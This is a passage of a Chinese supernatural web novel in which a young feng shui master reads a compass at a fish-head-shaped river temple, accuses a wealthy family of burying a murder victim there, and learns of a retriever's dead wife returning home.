我去葛家,对方肯定会翻脸报复。 “这可咋办才好,应该不会出什么大事吧?”我爸又问我。 “爸,你先回去,不要一直打断我了。”我皱眉说。 第138章 庙中发疯,投河自尽 我爸欲言又止,他确实起不到多大帮助,才转身离去。 我稍稍定了定神,进了另外一个房间中。 停在了河神老爷的那个搭着红布的箱子前头。 “我,要找苟叔。” “你带我去!”我冲着红布沉声开口。 河神老爷是有本事的,它绝非简单的水尸鬼。 苟驹将它带到了镇上,没有别的引路方式,都只是简单的供奉,它就能感应,并且找到苟驹。 就算苟驹没有供奉,它应该也有找到苟驹的本事! 只是红布安安静静,没有丝毫反应。 “苟叔可能会出事,可能会死,你得带我去找他!”我再度开口,语气加重。 此刻,红布总算动了一角,边缘稍稍掀起来一点儿,像是被某种东西顶着,很快又落了下来。 红布被顶着那一瞬,让我想起来先前一幕。 就是我找到白姝灵布人的时候,红布就是这样搭在布人头顶,像是个盖头。 脸色都变了变,这河神老爷,在和我谈条件! “我说了,苟叔可能会死。” “这不是我的事情,没有什么条件可谈,你想谈的,根本就谈不了!”我语气陡然更加重。 红布彻底的安安静静,不动了。 是河神老爷完完全全不理我了。 我:“……” 正当我想直接将红布掀开的时候,外边儿传来了脚步声。 心头一喜,是有人回来了? 转身,我拽开房门,恰巧和个人打了个照面。 她还被吓了一跳,后退两步。 “是你?”我眼中诧异。 来人,正是徐湘灵! 初阳正好,徐湘灵眉目紧蹙和我对视。 “苟驹呢?”她问。 徐湘灵是女捞尸人,她自不可能是来找我的,只有可能是找苟驹。 “胡家。”我沉声开口。 “你找得到胡家吗?”紧接着,我又追问。 “?”徐湘灵眼中都是疑惑。 “你说什么?我怎么没听懂?”她又问我。 “你找苟驹,苟驹在胡家,我也要找他,所以,我问你找不找得到胡家。”我这一句话,将话语中的逻辑理顺了。 徐湘灵默了片刻,才说:“那我等他回来之后再来吧。” 说完,她转身就要走。 “等等!”我赶紧上前,拦住了徐湘灵。 “你既然来找苟叔,那事情肯定很重要,这种重要的事情,最好就不要耽误。”我语速飞快,和徐湘灵解释。 我这样判断的缘由很简单,徐湘灵和苟驹之间是有矛盾的,其实是整个捞尸人这一脉,和苟驹有矛盾。 两天前我们回来,最后徐湘灵都不愿意坐苟驹的船, 这会儿却来找苟驹,一定有大事,她解决不了,甚至其余捞尸人一样解决不了。 没有到别无选择的情况下,她是不可能出现在回水湾的。 一时间,徐湘灵没吭声。 过了几秒钟,她若有所思道:“你找不到胡家,你这会儿着急忙慌,你想找苟驹,你想让我给你带路?” 我是没想过,徐湘灵的思绪这么敏锐,一瞬间,就将事情绕回了我身上。 不吭声的成我了。 徐湘灵和我擦肩而过,朝着河岸边走去。 她走了十几步后,扭头,喂了一声:“你为什么站着不动?” 我一怔,这才反应过来,多多少少,心头还是有那么一股喜色的。 跟上了徐湘灵,到了河岸边,上了她的捞尸船。 徐湘灵开始撑船。 苟驹他们用的都是发动机,螺旋桨了,徐湘灵还是靠着船桨。 阳光愈来愈大,水面上波光粼粼,温度不高,反而还是有些凉意。 “胡家前段时间出了事,去过很多捞尸人都没有解决,还留下来了三个,苟驹去接胡家的事,恐怕讨不到多少好处。”徐湘灵忽然开口。 我心里却再度咯噔一下,低声道:“愿闻其详。” 苟驹的面相,是不对劲的,他不能上船。 现在他上了船,甚至还是做捞尸的事儿。 本身就是水厄,那他就是要在水里遭到血光之灾! 胡家又死了三个捞尸人,那这血光之灾,水厄之相,就是来自于胡家! 徐湘灵倒没有卖关子,她打开话匣子说道:“胡家是做水产的,天沧江旁,上万亩的鱼塘,全被胡家承包。” “前段时间不知道为什么,上游发水,冲垮了好几个大鱼塘,胡家损失惨重,之后,他们修龙王庙,供奉河神爷,当然,是真河神,不是水尸鬼。” 徐湘灵这句话,带着几分鄙夷。 对于苟驹的河神老爷,她始终带着芥蒂。 我没打断她的话。 徐湘灵继续道:“龙王庙修好了,河神爷吃了供奉,结果当天晚上,胡家大公子在龙王庙中疯笑,跑出庙宇,冲进了天沧江,当时还有其余胡家人在场,愣是没有拦住他,他明明很好的水性,结果还是淹死了,有人看见他的尸体,却打捞不上来。” “再之后,胡家就经常出问题,胡家大公子天天在庙里头哭诉,说他在水底下好冷啊,天天被泡着好难受,求家里把他弄上岸。” “胡家想方设法的请捞尸人,却一直都没有得到解决。” “因为胡家更注重规矩,他们一直请我们这一脉的正常捞尸人,没有找到苟驹,现在是实在没办法了,才请到苟驹的头上。” 我没吭声,内心思索不已。 这事儿,是明摆着凶患,有问题了。 苟驹这么有把握? 这胡家大少爷,明显不是自己淹死的,他先疯癫,死后又求上岸,分明是被人害死! “修庙的地方,应该是神刹宝地才对,神刹宝地不会闹鬼,胡家大少爷,却偏偏是在那里边儿出问题?而且还在庙中哭诉?那修庙的地方,就明显不对劲了。”我深吸一口气,沉声道。 徐湘灵扭头看了我一眼,只说了句:“我不懂你在说什么,或许你有你的道理吧,苟驹有可能已经死了。” 徐湘灵的脸色明显有些烦躁发沉,又道:“他早不接这种事儿,晚不接这种事儿,偏偏这个时候,真的是……” 我没吭声多言,只等徐湘灵撑船,内心更是踌躇,还有一丝丝不安。 第139章 龙王鱼头庙,埋尸断头凶 如果只是一些单纯的风水问题,我能插手,甚至可以说去解决。只是这问题牵扯到神刹宝地这种风水局,我就没有把握了。 正常情况下,神刹宝地肯定不能闹鬼,明显是地点,或者过程出现了问题。 思绪一阵阵紊乱。 徐湘灵没有再多言,一直专心致志的撑船。 至少过了两小时左右,左右两侧瞧不见公园,开始出现农田之后,明显是出了城。 再过了大约半小时,看见一些农田,以及田地居中有一座庙。那庙修得格外高大,远远眺望过去,就像是就像是一颗鱼头,尖尖朝上,十分怪异。 庙门正对着外边儿河岸,河岸上有一个小小的码头,码头外停靠着数条船。 隐约还有一些人影在晃动,不过距离太远,就瞧不清那些人是谁。 徐湘灵撑船的速度快了一些,总算我们到了岸边。 船就是回水湾里停靠的那些捞尸船,依稀能瞧见庙门前的人影,正是捞尸队的人。 地上还躺着三个人,阳光下,他们身上水汽很重,地上更是一滩水。 这一幕,让我心跳都落空半拍。 船咚的一声撞击在码头上,徐湘灵用船桨插进船底泄力,我等不下去,蹬蹬两步到了船头往上猛跳,还险些栽一跟头,踉踉跄跄,我朝着庙前跑去。 跑近了,我才看见苟驹好端端站在人群中,他身旁五个捞尸队的汉子,都怔愣的看着我,无一例外,他们眼眶有些泛红。 “小陈,你咋个来了?”苟驹话音沙哑,他整个人也显得十分狼狈。 人是没问题的,更没有什么外伤,身上也干干净净,可就是从气息上透着一股子狼狈。 “不要再上船,会有血光之灾。”我喘着气开口。 目光落在地上三人身上,三人全部断气,可以说是三具尸体了。 我不知道怎么说,虽然和这几个人没有多好的关系,但毕竟也算是交集过一段时间,看他们就这么死了,我心里一样闷得难受。 苟驹的脸色一阵阵阴晴不定。 他眼神很复杂,有一丝懊恼,又有几分不甘,随后他盯着我后方,蹙眉说:“小娘皮怎么也跟来了?” 此刻,徐湘灵走至近前,她神色透着一丝丝冷淡,说:“因为陈先生找不到你,他怕你死了。” “小陈关心我,正常,你这小娘皮也关心我,就不太正常了,让老子有些受宠若惊。”苟驹这话,明显带着一丝不耐烦。 此前的苟驹,对徐湘灵虽说态度也一般,但没有这么抵触,显而易见,这里死了人,他心情糟糕,并不想和徐湘灵有过多的言语,拒人以千里之外。 其余那些个捞尸队的人,看徐湘灵的眼神一样沉冷,还有人开口:“没事就走吧,这地方死了好几个捞尸人,你这娘们儿别死里边儿,到时候还得费神打捞你尸体,真用了无情钩,你又不高兴。” 徐湘灵眉头紧皱着, 说了句:“你们有了先生帮忙,还是这样不会说人话吗?” 眼见他们就要冲突起来,我赶紧开口打了个岔。 “苟叔,这里情况究竟怎么样,你先和我说说吧。” “他们三个怎么出事的?” 徐湘灵没有要争吵的架势,苟驹用力深呼吸了数次,似是调整好了情绪。 其余几人见苟驹没有翻脸,他们就没有继续开口了。 苟驹思索了片刻,又看了徐湘灵一眼,才道:“这事情,也是扯了个瘠薄蛋,我和你说吧小陈……” 随后苟驹的一番话,和徐湘灵所说的相差无几。 只不过在苟驹看来,无非是捞尸人来这里捞尸,要遵守三捞三不捞的规矩,捞尸队直接下了无情钩,先摸排一遍,确定尸体的位置,然后下去八个人上绳索,他下去捆住绳索,即可开始捞尸。 他们昨晚上也的确是这样做的,大家都喝了几杯,精气神都算饱满,确定位置,下去人上绳索,他背尸体上岸,结果到了水面的时候,偏偏就出问题了。 捆住尸体的绳子忽然就断了,他另外三个手下去接尸体,结果愣生生被尸身压着,直接沉了江底,再等他们下去救人,人却已经直接往上飘,追到水面的时候,人就已经死了。 我心头微沉。 徐湘灵却恰逢其时的说了一句话:“摆祖师爷,守规矩的捞尸人,都死在这里三个,你们只撂下三条命,已经算运气好,现在打道回府,还来得及,不然的话,恐怕全都要躺着回去了。” “小娘皮,你不说话,没有人把你当哑巴。”苟驹怼了徐湘灵一句。 另外五人都眼巴巴的看着我,似是在等我说话。 随后,苟驹一样看向我。 “小陈,是苟叔我冒失了,他娘的,想着自己命硬没什么,结果手底下的兄弟还不够硬,我也没想过,他们会出事啊!早知道,让你都看看面相了。” 苟驹这番话,显得十分懊恼。 事已至此,其实我多说什么都晚了,苟驹是依照自己的习惯和脾气行事儿,他不讲规矩,却也有自己的规矩。 靠山吃山,靠水吃水,下水捞尸,任谁都要做好留在水里的准备? 想清楚这些,我和苟驹说了句:“这怕都是命,不过,还不算太晚,我先看看这个庙。” 语罢,我径直朝着庙子里走去。 说实话,这庙牌匾写着是龙王庙,可是这庙子,一点儿都不像是龙王庙,就只像是个鱼头庙。 尤其是进了庙内后,就能感受到一股凉意从四面八方涌来,空气中还弥漫着一股难闻的鱼腥味。 苟驹和另外五个捞尸队的人都跟了进来。 那五人不敢多言,苟驹却在我身旁,依旧在等我说话。 我深呼吸,先定了定神,随后摸出来了仕金盘,低头看着罗盘上的指针转动。 指针,并未停止。 我站了许久,就是怕它停,可它非但没停,反而还簌簌的转动起来,这转动的速度飞快,发出簌簌响声。 罗经八针中,针静止不归中线,形成侧针,这才是神刹宝地。 这里非但没有形成侧针,甚至,还形成了转针! 针头转而不止,代表怨恨之气徘徊! 此地,死过人! 若非是尸身,就是鬼魂盘踞于此,没有离去! 还有,此地根本算不上庙,更不是河神庙,这只能算是个凶宅,还是个断头凶! 第140章 得运位列尊崇,失运灵界病符 庙,必须是神刹宝地,神刹宝地不算,就是宅。 宅杀风水中,断头为大凶,鱼头立在地上,可不就是断头吗? 这不光是宅形为凶,这里必然还死过人! “小陈,你发现什么了?”苟驹注意着我脸色变化,沉声问。 “这里死了人。”我回答。 “是死了人,胡家大少就死在这儿了。”苟驹点头。 “不,他不算,他是投河死的,这里还死过人。” 语罢我继续低头,仔仔细细的看着罗盘,盯着指针变化,在这鱼头庙里走动。 苟驹没吭声了,眼皮跳个不停,旁边那五人更面面相觑。 几分钟后,我停在了庙子内侧的龙王爷神像前头,皱眉看着。 “这个神像下边儿有问题,得挖开。”我指着神像底座。 “这……”苟驹犯了难。 “去把胡家主事儿的请来。”深吸一口气,苟驹同身旁人道。 立马两人跑了出去。 “小陈,这事儿看起来没那么简单了?”苟驹试探的问我。 我点点头。 “他妈的,血亏。”苟驹一拳头砸在了神像下的供桌上,震得盘子一阵晃动。 苟驹认为亏,必然是单纯认为是一件事儿,可现在却成了两件,甚至是还死了人。 我只是觉得庆幸,还好这件事情能解决,否则的话,苟驹的规矩名声别说保不住,这条命都怕是保不住。 只不过,我还是觉得有些不对劲。 单纯一个宅凶,那么容易杀人吗? 胡家是修建这宅子的人,如无意外,这里的无论是尸体还是鬼,都是胡家埋进去的。 作为始作俑者,胡家大少怎么可能那么容易被杀? 说什么恶鬼找凶手报仇,这样的桥段,很多时候都是骗人的,鬼片里会这么演,是因为人都想看到恶有恶报,善有善报。 实际上,只会像是老鳏夫那样,被人杀了,被人剥了皮,最多抢回来自己的东西。 报仇?不存在的。 人活着的时候能杀你一次,你都死了,弊端和问题就更多,更容易被再度解决了。 思绪至此,我喃喃说了句:“还有问题。” “嗯?”苟驹面色一凛,他没敢吭声打断我了。 我再度看着手中的仕金盘,这一次,不光是单纯的看转针,更是通过方位判断更多的东西。 神相千壳我是才学,才涉猎,一知半解。 只不过风水术方面,我已经记下来的差不多,只是差实践了。 “后天八卦坤位,五行属土……利于黄……” “这……” 我蹬蹬蹬迈步走出了庙宇,从外盯着鱼头庙。 阳光太刺目了,晒得人眼睛都发疼。 我没吭声,就那么死死的盯着。 苟驹从庙里跟了出来,他看我神态严肃,一下子脸色更为紧绷起来。 脚步声响起,是在靠近我。 我无暇去管是谁来了,额头上汗珠豆大豆大的往下淌,口中喃喃:“二黑巨门星,得运时,位列尊崇,兴隆置业,田产吉盛,旺丁旺财,生武贵,出怪杰英豪,妇人更有谋,可当权,多节俭,可成霸业,还可出医师先人。” 我这番话说完。 苟驹点点头道:“小陈,你这说的挺好啊,没问题啊,怎么汗流浃背的,像是出什么大事儿了一样。” 我没有停顿,低喃又道:“可失运时,此为灵界,又名病符,一切凶事皆为临门生祸,死亡绝症,破产投死,寡妇当家,与五黄飞星并列最凶!巨门又名天任,天任为冷庙之鬼作祟,鱼主冷血,鱼头为死,正应冷庙!” “胡家大少杀人埋尸,假借求神问佛之名,修建河神庙,实际上修了个断头凶宅,此庙中鬼,受二黑飞星影响,凶上加凶,因此,庙中索命,使得祸主投河自尽, 龙王爷的神像下不止是有一具尸体,尸体下,必然还压着胡少爷的遗物!还是他贴身之物!” 我这一番话,开始是声音小,到了后边儿,就字句铿锵,可以说是言之凿凿了。 一时间,周围却变得十分安静,几乎没有任何声音。 苟驹额头上汗珠豆大一颗,他没说话。 他身旁五个人,面面相觑,同样没说话。 我第六感才觉得,自己被一双眼睛直勾勾的盯着。 不,完全不止是一双眼! 我稍稍侧身,却瞧见一人,那是个五十来岁的妇女,一副雍容华贵的模样,她本来妆容很精致,虽说算不上徐娘半老,但也算是保养得当了。 此刻,她冷冷的盯着我,那眼神,欲要杀人! “苟驹,我胡家花了大价钱请你来,是想喊你打捞我儿尸体上岸,不是请你弄个二不挂五的神棍,在这里胡言乱语,满嘴喷粪! ” “你若是没这个本事,退了定钱,双倍补偿了我胡家损失,你是可以走人的。” “怎么,你办不了事儿,就弄个这样的人来乱讲一通,把我胡家一顿贬低,要挖我好不容易修好的河神庙,说我儿子杀了人,还埋尸,死人你都泼脏水,下一刻,是不是要说我也杀过人了?” 妇人话音充满了尖酸冷漠,她既瞪着我,又瞪着苟驹。 她身后还有六个人,没有一个人有好脸色,甚至是一言不合,就要上前动手似的。 苟驹深吸一口气,才低声说:“胡夫人,你先别动怒,小陈先生不也说了一些好的吗?他可不是随口胡说的,这些事儿,都有个根……” 最后一句话,苟驹还没说完。 那胡夫人就冷笑道:“根据?” “苟驹,我还是看在你的本事上,才请你来这里的,你知道,现在这内沧市的家族,听了你这捞尸队的事情,都怎么评价你的么?” “你为了钱,找了个半吊子的神棍,看似解决了卢家的事情,可结果呢,卢家居然满门上吊了。” “卢家上吊之前,那生意可是突然间突飞猛进,一跃要成为内沧市第一家族的气势。” “我看,就是这半吊子神棍所为吧?” 胡夫人抬起手,尖锐的指甲点着我的脸。 “卢家是因为……”苟驹正要解释。 我抬手,抓住苟驹的胳膊,往前两步挡住他,正面胡夫人的脸,深呼吸道:“你不知道这里死过人对吧,就是说,这件事情和你无关了?” 我语气带着一丝质问。 “你说什么话?!” 胡夫人后方立即有一人上前,似是要抡起手掌扇我。 “回答我!”我声音陡然变大,身上好像油然而生一种气势,我自己都说不出来,那气势来自于何方,总之就这么出现! 第141章 死亡绝症,破产投死,寡妇当家 这一霎,胡夫人戛然无声,她身后那些人一样惊疑不定的看着我,没说出话来。 阳光下不光是安静,甚至还有一丝丝森冷。 这种冷很奇怪,好像萦绕在胡夫人身上,又萦绕在整个河神庙上。 “我不知道你究竟想表达什么,总之,龙王庙是肯定不能拆掉的,胡家生意本身就受了影响,再加上我儿出事,已经是不小的波折了,胡家经受不起你这种荒谬的折腾。”?? 胡夫人沉声说。 “苟叔,胡家给了多少定钱?”我扭头问苟驹。 “呃……”苟驹比了个手势,是个二。 要之前,我肯定会觉得两万,现在我清楚了,苟驹不会做那么小的生意。 “双倍补偿胡家对吧,好,苟叔你给她四十万。”我果断开口。 “这……”苟驹脸色变了变,微微摇头。 “小陈,不是苟叔和你抬杠,这收了定钱,不比其它时候,事儿,肯定是得办的,就算我这捞尸队全撂进去,都得把胡家大少爷弄出来。”说这番话时,苟驹绷着一张脸。 “苟叔你觉得,是坏规矩,是丢人?” “可实际上,这事儿是你被坑了呢?” “胡夫人明知道这庙有鬼,我现在点出来问题了,她却不认,又不愿意解决问题本身,别说一个捞尸队,三个捞尸人了,就算是你撂进去,一样没用的。我相信人看待每件事情,都要讲道理,我今天就把话放在这里,如果不拆龙王庙,临门生祸,胡家少爷惨死,只是其一。 ” “死亡绝症,破产投死,寡妇当家,为余下三件事。” “胡夫人,你虽然是胡家主事儿的,但我相信,你丈夫肯定还在人世,最近,他就快不在了,如果他死,会死于绝症,你胡家还会出事,破产之后,还有人要投河而死!” 我说这番话间,目光从苟驹身上,又投至胡夫人身上。 胡夫人脸色更惊疑,更是一阵阵铁青。 我说的太一本正经,以至于她身后五人面面相觑,就连捞尸队剩下的五个人,都战战兢兢起来。 “老苟……要是明知道胡家有问题,那这就是坑了咱们……咋可能真的知死还去死?这不是犯浑吗?这事儿一旦传出去,一旦应验了,名声扫地的是胡家啊,咱们捞尸队有陈先生,更是名声大噪对不对?”开口那人我认识,当初到捞尸队的第一天,就是他带我见的苟驹,我隐约记得,他叫孙泉。 “孙叔说的没错,苟叔,你再斟酌斟酌。”我顺着应了一句话。 “胡夫人,这……话已经说到这个份儿上了,怎么整,你就说吧?是听我家小陈的,还是我给你退双倍定钱?”苟驹松口了,不过,他松口的方式很独特,是问胡夫人。 这样一来,一旦胡家真的出事儿,捞尸队能撇的更干净。 一时间,胡夫人没吭声。 她只是死死的盯着我,眼中惊疑更多。 还有一人,看我的眼神透着一丝迷惘。 正是徐湘灵。 对徐湘灵来说,她对我所知不多,卢家的事儿是一部分,黄渠村中又是一小部分。 明显,此刻我的表现,影响到她对我的认知了? 我情绪稍稍镇定一些,话说清楚了,苟驹表态了。 要么不办,要办,胡家就得配合,此事,才能万无一失。 安静,约莫持续了五六分钟。 “我男人得了癌症,这事儿虽然没有告诉太多人,但是仔细调查,你是能知道的,那自然,胡家我在当家,他病得真了,要死,是命。” “你说这么一大堆,无非是在恐吓我罢了。” 胡夫人再度开口,她额间泌着薄汗。 “你挺有意思的,陈先生说了那么多,你还在辩论,他有说过想和你争辩吗?”徐湘灵开了口,她眼中带着一丝厌恶,道:“若是你胡家骗人,这事儿,你还得给我捞尸人一脉一个交代。” “行,我懂了。胡夫人,钱,我赶天黑前让人送来,今后如何,是我苟驹丢了信誉,还是胡家坑人,总有个结果。” 说着,苟驹招了招手道:“哥儿几个,把咱们的人请上船,后事儿不劳胡家,我全补上。” 那五个捞尸队的人立即上前,抬起地上三人,匆匆朝着河岸边走去。 徐湘灵深深看了胡夫人一眼,顺着往河边走。 “小陈,撤。”苟驹招呼我一声。 我跟着苟驹走了。 临上船的时候,下意识回头看了一眼。 胡夫人等人站在先前的位置,一动不动,只是看着我们。 只不过,庙门口居然多了一个人。 那是个女人,一个挺着孕肚的女人,一手撑着腰,一手擦擦额头,像是在擦汗。 随后,她像是发现我看她了,抬起手来,手臂摇晃,那动作十分呆板,像是提线木偶。 一股很大的风吹来,使得乌云游移,阳光改变方向,一股照射在庙门处。 那女人就那么消失不见了。 我打了个冷噤,喃喃道:“女人……还是个怀孕的女人……一尸两命?好凶……” 能凭空消失的,只有鬼。 特定时刻,鬼能在阳光下出现,尤其是“鱼头庙”本身就是冷庙之鬼的凶宅,她能现身,就更为正常。 “小陈……你这说的,越来越悬乎了,没问题吧?” 苟驹反而有些拿不准似的,小声问我。 “绝对没问题。” “胡家遭受的麻烦,只有可能更大!” 我言之凿凿。 “嗐,成,那就等着了,这最近,肯定是没活儿干了,卢家出事儿,牵扯了一些,给胡家退钱,还得影响。” 苟驹摸了摸脑壳,又扫了一眼船上的三具尸体,他嘴里嘀咕了几句,意思是真倒霉,邪门催的。 另外那五个人其实还好。 干这一行的都想得通,赚的是快钱,吃的是死人饭,那脑壳就是别在腰间的。 “小娘皮,你不会单纯送小陈来找我的,有啥事儿,直接讲吧。”苟驹再看徐湘灵,开门见山的问。 “你们上我的船,让你的人先回去,有什么事情,我要和你单独说。”徐湘灵抿着唇,指了指她的捞尸船。 “呵,这稀奇了,你不说,我可不想上去,平时我可没少受你们的气和嫌弃。”苟驹摆手摇头,明显,他不怎么想帮徐湘灵。 第142章 回门 这事儿,是徐湘灵有求于人,还有,她所求必然不会太简单,否则,不会找上苟驹。 虽说她送了我,但我也不好多言其他,全看苟驹自己了。 “你!”徐湘灵明显动了怒。 “我?我挺好的,你要不说,我就走了。”苟驹作势要跳上其中一条船。 “我姐昨晚上回门了。”徐湘灵闭上了眼,脸上的怒意,都化作了一阵惨白。 苟驹的脸色变了变,一时间,他沉默无言。 良久苟驹才开口,他话音极其沙哑,眼珠子隐隐都发红:“你莫洗我脑壳,咋个可能?” “信不信由你,话,我说了,去不去,一样由你。”徐湘灵抿着唇,上了她自己的船,要撑船离开。 苟驹猛地一跃而起,哐当一声落在了徐湘灵的船上,船身都一阵猛烈摇晃,险些没犯了。 “他妈的, 靠岸一点儿,让小陈上来!”苟驹语气加重。 徐湘灵默不作声,撑着船桨,稍稍靠近了码头一些。 我这才上船。 “你们几个先回去,我办完事儿就回来,棺材都备好。” 苟驹看向他手下几人。 我没多吭声。 苟驹的情绪不太对,徐湘灵的情绪,一样不对。 他们之间,居然还有别的关系? 徐湘灵开始撑船,朝着天沧江的更下游去了。 苟驹没说话,他只是坐在船沿一侧,不知道什么时候拿出来个小红瓶子,往嘴里头灌。 咕嘟咕嘟的,那一小瓶酒就见了底。 哗的一下,苟驹将瓶子甩了出去,脸颊都有些泛红,他眼珠子更红了。 “苟驹,你还喝,我姐以前最不喜欢的就是这一点了。”徐湘灵语气加重。 苟驹没吭声接话,他居然从另一个兜里又摸出来个酒瓶子,拧了盖子,又开始往嘴里灌。 我看出来了,苟驹是借酒浇愁。 他和徐湘灵的姐姐之间,又有什么纠葛? 看上去,两人像是许久没有联系了。 以至于徐湘灵说姐姐回门,苟驹直接来了个不可能。 可这又有些不对劲。 徐湘灵姐姐不是不喜欢苟驹喝酒吗? 两人应该是分开很久。 徐湘灵同样抵触苟驹,那姐姐回来,她为什么这么着急忙慌的来通知?一时间我百思不得其解。 徐湘灵忽然抽起来船桨,往苟驹身边哐哐敲了两下。 “爬远点,老子想喝就喝,你姐管我一时,又没能管我一辈子,你个小娘皮,信不信老子给你翻脸?!苟驹苟驹的喊个不停,你就记得你姐不让人喝酒这句话,记不住老子是你姐夫?!”苟驹怒了,他骂着,他却唾沫飞溅,他眼眶红着,脸却一下子白了,好大个男人,眼泪却婆娑往下掉。 他往嘴里灌酒,一边喝,一边哭,骂着:“操她娘的,这茅台也酸了,一股子猫尿味儿!” 一时间,我心里却不大是滋味儿啊。 苟驹很嘈杂,很聒噪,可他情绪却流露出来了,让人觉得心酸。 徐湘灵姐姐,死了? 苟驹的电话响了。 他接通了之后,好像没等对面说话,就破口大骂:“操你妈的,老子知道退钱!催催催,催老子给你上坟呢催!?” 骂完,苟驹直接挂断。 我心头却阵阵微跳。 催要钱吗? 我怎么觉得不太像呢? 只是,苟驹这情绪状态,显然是不想和任何人沟通了。 徐湘灵默默撑船。 大约又过了半小时左右,天沧江变得更宽阔了一些。 江边出现了一条河口,徐湘灵撑船进去。 河面由宽变窄,不多时,就只剩下两三米宽。 船停了下来,河边修着一栋院子。 徐湘灵跳下船,岸边有个树桩,船头有绳索,她将绳索拴在了树桩上。 “苟叔,先节哀。”我低声劝了句。 “我没事儿小陈,刚才接连眼睛里进了好几颗沙子。”苟驹摆摆手,他依旧显得刚硬,头微微上仰,似是把眼泪倒灌了回去。 徐湘灵没说话,带路朝着更远处走去。 我稍有不解,本来还以为,我们目的地就是河边的院子呢。 沿着河走,河道愈来愈窄,只剩下一米宽,像是个小水沟了。 又有个院子出现在视线中,青砖乌瓦,院墙角落都是青苔,还有许多落叶,能看出来,这里有些年头没住人了。 苟驹嘴里嘀咕了几句,他率先上前,摸出来钥匙,开了门,进了院里。 我本来要跟上去。 徐湘灵忽然上前,拉了我一把。 我顿足,苟驹便一个人进去了。 我其实以为,徐湘灵是觉得苟驹需要一个人待一会儿。 却没想到,她是咬唇,深看我一眼,小声说:“你能帮忙吗?” 我心里突地一跳。 帮忙? 相关于眼前这件事儿的? 事情我是真的一知半解。 只晓得,徐湘灵姐姐死了,她和苟驹之间的关系是夫妻。 还有,死人不应该能回家。 怪不得,先前徐湘灵用的是回门的话。 再加上苟驹先说了不可能,现在徐湘灵又说让我帮忙…… 那她姐姐,就是死得不正常? 捞尸人都没办法,得先生来介入!? 顷刻间,我想明白了这一切,点头说:“能……” 那个帮字没说出来,苟驹忽然一下子立在门前,他是去而复返了。 “帮个屁,谁都帮不了,没法帮。” “徐湘灵,死的人已经够多了,你别牵扯其他人进来了!别害人!”苟驹瞪了徐湘灵一眼,嘴里骂骂咧咧。 “你跟我进来,小陈,你就在外边儿等我们。”他指了指徐湘灵。 徐湘灵脸色再变了变,她没吭声,低头,跟着苟驹进院子。 哐当一声,院门重重闭上。 我只听见徐湘灵带着哭腔的说了句:“为什么?你这个骗子!先生有了啊!卢家你带去了先生,你没说要回来这里,去了黄渠村,你也帮了先生事儿。现在到胡家了,这个陈先生也帮你忙。” “为什么真正需要帮忙的地方了,你却不愿意?” “你就只想着敛财,没想着姐姐要入土为安!?” 徐湘灵声音本来很大,很快,像是被捂住了嘴巴似的。 紧接着,传来了苟驹闷哼声。 门哐当一下又被打开,徐湘灵飞似的跑出来,朝着远处奔去! “他妈的,属狗的……”苟驹在后边儿甩着手,嘴里还在骂骂咧咧。 我眉头紧皱,看向苟驹。 “没事小陈,你甭听她瞎瘠薄扯,这事儿你管不了。”苟驹长舒一口气,他脸色是苦闷的,却言之凿凿。 第143章 上辈子的情人,这辈子的女儿 苟驹的手,是被徐湘灵给咬了。 好深一个白印子,好险没见到血。 我无言。 事儿,是摆在这里,肯定是有。 苟驹却一而再的说不用管。 这事情就这么复杂,真就解决不了,真就管不了? 不是说我闲着没事儿,非要插手苟驹的事情。 苟驹对我是真不错的,有什么好事儿想着,有问题的事儿帮我拦着,黄渠村里,他没少帮我,可以说豁出去性命了。 那他有事儿,我却自挂东南枝,这对吗? “那让我看看,应该不打紧吧?”思绪落定,我问。 我没有非强硬笃定的说自己要管了。 “这……”苟驹表情略僵。 “足够麻烦的问题,看了对我来说也有裨益,苟叔,这也算给我增长见识?”我再道。 “小陈啊小陈,哎。”苟驹复而就是哭笑不得的神态。 “行吧,伤疤掀开了,不外乎往上撒把盐,你想看,就随便看,你想问,就随便问,不过我提醒你了,这事儿,你的确管不了,我曾找过一些先生,黄鱼儿给了不知道多少条了,有用吗?没有,到最后一些先生听说过我的事儿,主动的不收钱,不接茬。” 耸耸肩,苟驹像是豁达起来:“那小娘皮不知道,她就只认为我掉钱眼里了,就非得弄个捞尸队来干活儿,她咋知道,请先生是要真金的,白银都不好说话。” 我这才明白,苟驹贪财的缘由。 只不过,看似苟驹释怀了。 他真的释怀了吗? 如果真的,那他还何必继续维持着捞尸队,早就该解散了,然后他自己该干嘛干嘛。 不是先生解决不了,而是先生的本事还不够大! 若是够了,管他尸尸鬼鬼,一并刨出根儿来,一并解决后患! 苟驹还在攒钱,还在等一个机会罢了。 “知道了苟叔。”我应了一声,便迈步进了这院内。 粗眼看下去,院子很脏,同样满是落叶,不像是个闹鬼的院子。 按照徐湘灵的话来说,她姐姐昨晚才回门一次,这儿不干净,倒也没什么不对的。 苟驹随后跟进院内,哐当一声关上门,甚至上了门阀。 “小陈你随便看,我回房间待会儿。”苟驹说完,就径直朝着一处房门走去。 进屋后,苟驹又将门带上了。 我再四扫院子一圈儿,没看出来什么不对劲的地方。 宅形算不上多好,绝对不算差,宅中没有宅凶。 苟驹能花那么多钱,请来那么多先生,若是这点儿问题看不出来,那就等于自砸招牌了。 那问题,究竟出在了哪儿? 我仔仔细细再检查了一遍宅子情况,的确,宅凶不存在,甚至没有什么镇处,并不会压得死人不敢回门。 宅子没出问题,那问题,就应该出在外边儿? 或者,是死人身亡之地? 思绪至此,我正要走向苟驹房门。 隐约,却听到了一点点哽咽的哭声。 哭声,是苟驹的。 男儿流血不流泪,苟驹那么个硬汉,居然都在哭? 一时间,我没有上前去打断了。 心想着,等苟驹哭完了也好,到时候再问。 又有一点微弱的哭声钻入耳中,来自女人。 我走到门前,小心翼翼打开门阀,推门出去,再将门轻轻带上。 小河沟旁边,徐湘灵在抹眼泪。 她也是个刚硬的女子。 这更让我疑惑,究竟他们身上发生了什么。 人死如灯灭,应该过去了很长时间,他们两人都无法释怀? 我走至徐湘灵身旁,才问:“能说说么?” “你要帮忙吗?”徐湘灵紧咬着下唇,隐隐都有些血色。 “能帮则帮,不过苟叔说过,他请过很多先生都帮不了,你要有个心理准备。”我如实回答。 “是啊,他们是帮不了,因为他们怕!” 徐湘灵眼中透着一丝讥讽,嘲弄。 当然不是针对我,是针对苟驹所说的“先生”? 我没有打断徐湘灵的话,只是静静看着她。 “跟我来吧,免得被他听到了,他又不肯让你帮忙了,他就是个窝囊废!” 徐湘灵的声音压得很低,她的埋怨更深,更重。 我点头,徐湘灵便往前带路。 距离宅子有一段距离了,徐湘灵才打开话匣子,说道:“徐家是捞尸人的偏门,苟氏一脉是主脉,苟姓的捞尸人理论上来说,本事是要更强一些的。” 